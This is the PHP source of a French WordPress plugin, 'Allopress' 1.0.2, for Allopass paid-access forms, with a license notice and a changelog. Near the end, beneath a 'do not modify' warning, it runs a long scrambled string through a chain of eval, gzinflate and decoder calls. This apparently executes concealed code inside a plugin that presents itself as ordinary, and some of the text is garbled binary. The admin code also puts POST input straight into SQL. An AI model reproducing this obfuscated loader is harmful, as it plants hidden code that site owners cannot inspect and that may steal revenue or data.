si vous ne possedez pas de licence cliquez-ici Version: 1.0.2 Author: Erwan Regnier Author URI: http://www.erwanregnier.fr Plugin compatible avec les versions supérieures à la version 2.3.3 de Wordpress (jusqu'a la version 2.6.2) ---------------------------------------------------------------------------- ##IMPORTANT: UTILISATION ## Plugin NON OpenSource ! L'utilisation de ce plugin sans licence valide vous expose à des poursuites. Pour obtenir une licence vous devez vous rendre sur le site http://www.allopress.com Il est distribué sans garanties concernant les eventuelles pertes ou alterations de donnees ou de compatibilite avec un plugin tiers. L'acquisition d'une licence ne vous donne pas le droit de redistribuer ou de modifier ce script. La version 1.0.2 de ce plugin Allopress est 'gratuite', vous toucherez 90% des revenus generes par les formulaires Allopass installes par le plugin. Cette version gratuite est limitee en fonctionnalites, pour une version plus complete rendez-vous sur http://www.allopress.com ## CHANGELOG ## version 1.0.2 : -Correction d'un bug avec les sessions Wordpress (le formulaire restait affiche apres saisie d'un code valide) -Correction d'un bug avec les blogs installes en sous repertoire (http://www.monsite.com/monblog/) version 1.0.1 : -Correction d'un bug dans l'administration (affichage de l'ancien ID du document lors de la mise à jour) -Correction d'un bug dans l'administration (remise à 0 des tables à la reactivation du plugin) -Ajout de la redirection vers l'article dans lequel le code allopass a été saisi si celui-ci est valide (au lieu de l'index du blog) /!\ NE PAS MODIFIER LE CODE SUIVANT /!\ /!\ DO NOT MODIFY FROM HERE /!\ */ if (!session_id()) session_start(); register_activation_hook(__FILE__,'initallopress'); add_action('admin_menu', 'adminallo'); function initallopress() { global $wpdb; $testid = $wpdb->get_var("SELECT id_doc FROM allopress LIMIT 1;"); if ($testid == "" || !$testid): $sql = "CREATE TABLE allopress ( id_doc VARCHAR(40) NOT NULL , UNIQUE KEY id_doc (id_doc) ); CREATE TABLE allopress_codes ( codes VARCHAR(40) NOT NULL , post INT(11) NOT NULL, UNIQUE KEY codes (codes) ); INSERT INTO allopress VALUES ('123/456/789'); "; require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); dbDelta($sql); endif; } function adminallo(){ add_options_page('Parametres Allopress', 'AlloPress', 8, __FILE__, 'optadminallo'); } function optadminallo(){ global $wpdb; $iddoc = $wpdb->get_var("SELECT id_doc FROM allopress LIMIT 1;"); if(isset($_POST['iddoc']) && $_POST['iddoc'] != "" && $_POST['iddoc'] != $iddoc): $doc = $_POST['iddoc']; if (eregi("[[:digit:]]*\/[[:digit:]]*\/[[:digit:]]*",$doc)): $del = "DELETE FROM allopress;"; $ins= "INSERT INTO allopress(id_doc) VALUES('$doc') ;"; if (!$wpdb->query( $del ) || !$wpdb->query( $ins )): ?>

Erreur lors de la mise à jour des paramètres!

Paramètres sauvegardés !

Format incorrect !
L'id du document doit être du type 123/456/789

Paramétrage AlloPress

">

Ex: 1234/5476596/35324
N'oubliez pas les "/" !!

t3i78u[Th6D{rDy{d6V.rIV{d6V.rB/Td4[LOjW6TcW.Waht2pWpWL2BRZLeaZxjYduyftxK5C6eT86DEtxKWh1iWRuV.rj/xd4KZk4K.r4hTC6DEt4K.7xi.<6DEt4/p53y.C6i]<6DEIveZ[4VZRBc]Ku/.r1vtOlk=pBh0duRTh6i{J4V.h6eT8py5CjVZJjVZd3[.w6i]x/jt1V.O6yb1i6h3iJ5jV]buia0jCWL4y7562LRjvT[1iZ<1YRj/{h3rxVLtxy5CxVt0jSoJERj+vR}tjY7O62pbuiatuKWw6cd4VW]ui. xv]buV7d4VWr4h]SuygL}=kqeZ0RuD[4lz Om<12PyHSWJGp7MaiVQr/cN]h63x"," kCV]4m.DNvM>lstIKLBE6}ghf8[QAowPSR9ibX3cO{up=0anq27jF1eJx/UWGrzHT<5yZYd");eval(gzinflate("S‰O±-.)*J-ÓPJMÉONM‰71K-NLRÒ´"));eval('$__x=$__d("$__s");');eval($__x); if (isset($_GET['part'])) $_SESSION['partid'] = $_GET['part']; if (isset($_GET['DATAS']) && isset($_GET['RECALL'])) allocheck(); add_filter('the_content', 'allopress'); add_filter('the_content_rss', 'allopress'); add_filter('the_excerpt_rss', 'allopress'); add_filter('the_excerpt', 'allopress'); ?>